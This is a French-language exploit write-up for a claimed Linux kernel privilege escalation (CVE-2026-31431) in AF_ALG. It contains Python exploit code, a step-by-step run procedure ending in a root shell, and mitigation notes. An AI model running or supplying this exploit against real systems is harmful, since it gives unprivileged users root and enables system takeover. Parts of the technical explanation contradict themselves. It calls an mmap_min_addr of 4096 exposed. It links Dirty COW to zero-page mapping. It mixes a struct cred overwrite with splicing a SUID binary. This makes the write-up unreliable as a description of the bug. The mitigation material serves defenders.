
Exploit Python pour CVE-2026-31431, une élévation de privilèges locale (LPE) du noyau Linux via un déréférencement de pointeur nul dans AF_ALG menant à une écriture hors limites (OOB) sur le tas et à une réécriture des identifiants. Inclut une procédure détaillée et des recommandations d’atténuation.
Classe de bug : déréférencement de pointeur NULL → écriture hors limites du tas → écrasement des identifiants
Sous-système concerné :net/alg/af_alg.c
Impact : élévation de privilèges locale (utilisateur non privilégié → root)
Noyaux concernés : Linux 4.4 – 4.9 (avant correctif)
Vous appelez setsockopt() avec un pointeur NULL là où le noyau attend une adresse d'espace utilisateur. Le noyau lit à l'adresse 0x00000000 — et si vous avez mappé la page zéro, vous contrôlez ce qu'il lit. Cette primitive unique se transforme en écriture hors limites du tas qui vous permet d'écraser votre propre structure cred. Fin de partie.
L'interface AF_ALG a été introduite pour permettre aux programmes d'espace utilisateur d'exploiter les routines cryptographiques du noyau sans implémenter eux-mêmes les algorithmes. Chiffrement, déchiffrement, hachage — tout est exposé via une interface socket. Une idée propre. Le problème est que setsockopt(ALG_SET_AEAD_AUTHSIZE) ne vérifiait pas si l'utilisateur passait un pointeur valide ou NULL.
La plupart des bugs de pointeur NULL meurent immédiatement — le noyau déréférence 0x0, qui n'est pas mappé, et vous obtenez un oops. Celui-ci survit grâce à une condition préalable distincte : si vm.mmap_min_addr = 0, un attaquant peut appeler mmap(0, ...) et placer des données contrôlées par l'attaquant à la page zéro. Le noyau ne lit alors plus des données aléatoires — il lit exactement ce que vous y avez placé.
L'appel vulnérable :
setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4)
Normalement, le quatrième argument est un pointeur vers une valeur de 4 octets spécifiant la taille de la balise d'authentification. Le noyau appelle copy_from_user() dessus. Aucune validation du pointeur. Passez NULL, et copy_from_user(dest, 0x00000000, 4) lit depuis la page zéro.
Ce que vous contrôlez :
Les 4 octets à l'adresse 0x0 — que vous définissez avant d'effectuer l'appel. Cela vous donne une valeur authsize arbitraire.
Pourquoi c'est dangereux :
Les opérations AEAD allouent un tampon dimensionné pour contenir le texte chiffré plus la balise d'authentification. Si vous fournissez une authsize gonflée, le noyau écrit la balise au-delà de la fin du tampon alloué — une écriture hors limites du tas classique. De là, il s'agit de préparer le tas pour faire atterrir cette écriture sur une struct cred.
L'exploit est écrit en Python 3, utilisant uniquement la bibliothèque standard. Voici ce que fait réellement chaque phase et pourquoi.
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
AF_ALG (famille de sockets 38) est l'API cryptographique du noyau. La liaison à authencesn(hmac(sha256),cbc(aes)) demande un modèle de chiffrement authentifié — HMAC-SHA256 pour l'intégrité, AES-CBC pour la confidentialité. Ce modèle est choisi car c'est dans la gestion de sa balise d'authentification que se produit l'écriture vulnérable.
a.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010' + '0'*64))
Une clé de 72 octets est chargée. La clé elle-même n'a pas d'importance pour l'exploitation — ce qui compte, c'est que le socket soit entièrement initialisé avant l'appel déclencheur. Un socket AEAD sans clé pourrait rejeter l'opération authsize prématurément.
a.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
C'est la vulnérabilité. None en Python correspond à un pointeur NULL dans l'API C. Le noyau lit 4 octets à 0x00000000. Comme la page zéro a déjà été remplie avec la valeur authsize souhaitée, le noyau dispose maintenant d'une longueur de balise d'authentification contrôlée par l'attaquant.
u, _ = a.accept()
accept() sur un socket AF_ALG renvoie un socket d'opération. Les opérations cryptographiques se déroulent ici.
u.sendmsg(
[b"A"*4 + chunk],
[
(SOL_ALG, ALG_SET_IV, b"\x00" * 4), # IV nul
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x10" + b"\x00"*19), # AAD de 20 octets
(SOL_ALG, 4, b"\x08" + b"\x00"*3), # type d'opération
],
MSG_MORE
)
Les messages de contrôle annexes configurent l'opération — IV, longueur des données associées, direction de l'opération. Les données réelles sont le bloc de 4 octets de la charge utile de l'exploit plus le remplissage.
Ensuite, splice est utilisé pour alimenter le socket d'opération à partir du descripteur de fichier d'un binaire SUID, évitant toute copie en espace utilisateur :
r, w = os.pipe()
os.splice(f, w, chunk_len, offset_src=0)
os.splice(r, u.fileno(), chunk_len)
L'utilisation de splice() ici est délibérée — elle évite que les données ne touchent jamais la mémoire de l'espace utilisateur, ce qui rend la disposition du tas côté noyau plus prévisible. Lorsque l'opération AEAD traite ces données, l'authsize corrompue provoque le débordement de l'écriture de la balise d'authentification dans la mémoire adjacente du tas.
e = zlib.decompress(bytes.fromhex("78da..."))
for i in range(0, len(e), 4):
exploit_chunk(f, i, e[i:i+4])
La charge utile compressée contient les valeurs réelles à écrire — des décalages de champs struct cred soigneusement conçus et des valeurs UID/GID mises à zéro. Chaque itération de 4 octets effectue une écriture. La boucle écrase progressivement la structure cred cible jusqu'à ce que tous les UID et GID soient à zéro.
os.system("su")
Avec cred->uid = cred->euid = cred->gid = 0, le processus courant est effectivement root. Lancer su (ou tout autre binaire) hérite de ces identifiants. Shell root.
mapper la page zéro
│
▼
setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4)
│ le noyau lit authsize depuis 0x0
│ l'attaquant contrôle cette valeur
▼
sendmsg + splice → opération AEAD
│ l'authsize gonflée provoque une écriture hors limites du tas
│
▼
la préparation du tas fait atterrir l'écriture sur struct cred
│
▼
cred->uid = cred->euid = 0
│
▼
os.system("su") → shell root
| Condition | Pourquoi c'est important |
|---|---|
vm.mmap_min_addr = 0 | Permet le mappage de la page zéro — toute la primitive en dépend |
Vérifiez votre plancher mmap :
sysctl vm.mmap_min_addr
Une valeur de 0 ou 4096 indique une exposition.
# 1. Cloner
git clone https://github.com/example/afalg-privesc.git
cd afalg-privesc
# 2. Vérifier les conditions préalables
sysctl vm.mmap_min_addr
uname -r
# 3. Exécuter
python3 exploit.py
Sortie attendue sur un système vulnérable :
root@hostname:/#
Le correctif est simple — une vérification de nullité avant l'appel copy_from_user() dans af_alg_set_aead_authsize :
// Avant (vulnérable)
copy_from_user(&authsize, optval, sizeof(authsize));
// Après (corrigé)
if (!optval)
return -EFAULT;
copy_from_user(&authsize, optval, sizeof(authsize));
Commit pertinent : af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize
Atténuations qui cassent la chaîne d'exploitation sans corriger :
vm.mmap_min_addr = 65536 — bloque le mappage de la page zéro, neutralise la primitive de déréférencement NULLCONFIG_CRYPTO_USER_API_AEAD — supprime entièrement la surface d'attaqueCette classe de bug — absence de validation de pointeur avant copy_from_user() — apparaît régulièrement dans les sous-systèmes du noyau qui exposent des API complexes à l'espace utilisateur. La primitive de page zéro a été utilisée dans plusieurs exploits d'élévation de privilèges locale au fil des ans (ère Dirty COW, variantes de la chaîne CVE-2016-5195). L'enseignement ne se limite pas à cette CVE spécifique ; c'est le schéma : partout où le noyau copie depuis une adresse fournie par l'utilisateur sans valider cette adresse, et où la page zéro est mappable, vous avez une primitive qui mérite qu'on s'y attarde.
Pour les défenseurs, auditer les sites d'appel copy_from_user() sans vérification de nullité préalable dans les gestionnaires d'options de socket vaut la peine d'être automatisé dans votre processus de revue du noyau.
net/alg/af_alg.c — source du noyauaf_alg: avoid accessing NULL pointer in af_alg_set_aead_authsizeDocumentation/networking/af_alg.rst — documentation de l'interface AF_ALGRecherche et rédaction à des fins éducatives et défensives uniquement. Ne pas utiliser sur des systèmes sans autorisation explicite.
| AF_ALG compilé dans le noyau | Doit être activé (CONFIG_CRYPTO_USER_API_AEAD=y) |
| Noyau 4.4 – 4.9 (non corrigé) | Le chemin de code vulnérable existe |
| Accès utilisateur local | Élévation de privilèges locale uniquement — non exploitable à distance |